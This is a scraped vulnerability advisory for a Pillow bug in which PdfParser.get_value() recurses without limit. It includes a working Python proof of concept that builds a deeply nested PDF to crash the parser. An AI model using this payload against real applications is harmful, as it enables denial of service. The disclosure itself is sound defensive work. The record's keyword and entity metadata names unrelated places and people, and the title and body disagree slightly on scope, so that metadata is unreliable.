---
schema_version: '1.0'
id: security-20261022-b1b513
title: 'CVE-2026-112391: Pillow: PdfParser can recurse without limit in get_value()
  and linearize_page_tree()'
url: https://osv.dev/vulnerability/GHSA-254f-3936-288h
url_hash: b1b513885204cf1943f01956e6c1cf08c81e092ffbb3da453e614a30c3fe04ff
canonical_url: https://osv.dev/vulnerability/GHSA-254f-3936-288h
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-112391
- GHSA-254f-3936-288h
- severity:CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
- pillow
- PyPI
lang: en
published_at: '2026-10-21T21:11:07Z'
fetched_at: '2026-10-22T11:50:12.773488Z'
updated_at: '2026-10-22T17:08:16Z'
status: published
content_hash: 2df07dca0a7ccbf5efc16dafd93a747e870d180beeb523f7eeb2ee0fc38e4cd2
content_changed_at: null
license_note: full
summary: 'Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()'
summary_source: rss
summary_en: 'Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()'
summary_omitted_reason: null
redistribution: true
keywords_en:
- and
- can
- Can Tho City
- cve
- CVE-2026-112391
- get_value
- GHSA-254f-3936-288h
- library vulnerability
- limit
- linearize_page_tree
- PdfParser
- pillow
- PyPI
- recurse
- severity:CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
- Shay McVeigh
- software security
- without
entities_en:
- name: Can Tho City
  type: location
- name: Shay McVeigh
  type: person
topics_en:
- library vulnerability
- software security
numeric_facts: []
entities:
- name: Shay McVeigh
  type: person
- name: Can Tho City
  type: location
key_facts: []
related: []
related_auto:
- name: Dong Nai City
  type: location
  weight: 6.5
- name: Bristol Crown Court
  type: organization
  weight: 1.0
- name: Bristol Magistrates Court
  type: organization
  weight: 1.0
computed_at: '2026-10-22T17:08:09Z'
---

# CVE-2026-112391: Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()

## TL;DR
Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()

## Key Points
- cve / CVE-2026-112391 / GHSA-254f-3936-288h / severity:CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N / pillow / PyPI

## Details
**Severity:** CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
**Advisory:** GHSA-254f-3936-288h (CVE-2026-112391)

**Details:**
### Summary
`PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=<pdf>, format="PDF", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.

### Details
**`get_value()` in `src/PIL/PdfParser.py`**

This is a classmethod that takes `max_nesting: int = -1` and has a guard:

```python
if max_nesting == 0:
    return None, None
```

Every recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else.

This advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel  `-1`  default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in  get_value() .

### Steps to reproduce
Both PDFs below are plain text, built directly in Python, no PDF library needed.

```python
from PIL.PdfParser import PdfParser

def build_pdf(root):
    out = bytearray(b"%PDF-1.4\n")
    offset = len(out)
    out += f"1 0 obj\n".encode()
    out += root
    out += b"\nendobj\n"
    out += b"xref\n"
    out += f"0 2\n".encode()
    out += b"0000000000 65535 f \n"
    out += f"{offset:010d} 00000 ".encode() + b"n \n"
    xref_offset = len(out)
    out += b"xref\n"
    out += f"0 2\n".encode()
    out += b"0000000000 65535 f \n"
    out += f"{offset:010d} 00000 ".encode() + b"n \n"
    out += b"trailer\n"
    out += f"<< /Size 2 /Root 1 0 R >>\n".encode()
    out += b"startxref\n"
    out += f"{xref_offset}\n".encode()
    out += b"%%EOF"
    return bytes(out)

bomb = b"[" * 3000 + b"]" * 3000
root = b"<< /Type /Catalog /Pages 2 0 R /Bomb " + bomb + b" >>"
with open("nesting_bomb.pdf", "wb") as f:
    f.write(build_pdf(root))

PdfParser("nesting_bomb.pdf")     # raises RecursionError
```

Expected: a clean `PdfFormatError`.

Actual: raises a raw `RecursionError: maximum recursion depth exceeded`.

### Impact
- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format="PDF", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes.
- Confidentiality: none.
- Integrity: none.
- Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.

**References:**
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288h
- https://nvd.nist.gov/vuln/detail/CVE-2026-112391
- https://github.com/python-pillow/Pillow/commit/94cb11c44ff7345414da17ebfea1598a529ad9cd
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-254f-3936-288h_

## Source
元記事: [CVE-2026-112391: Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()](https://osv.dev/vulnerability/GHSA-254f-3936-288h) — published 2026-10-21T21:11:07Z
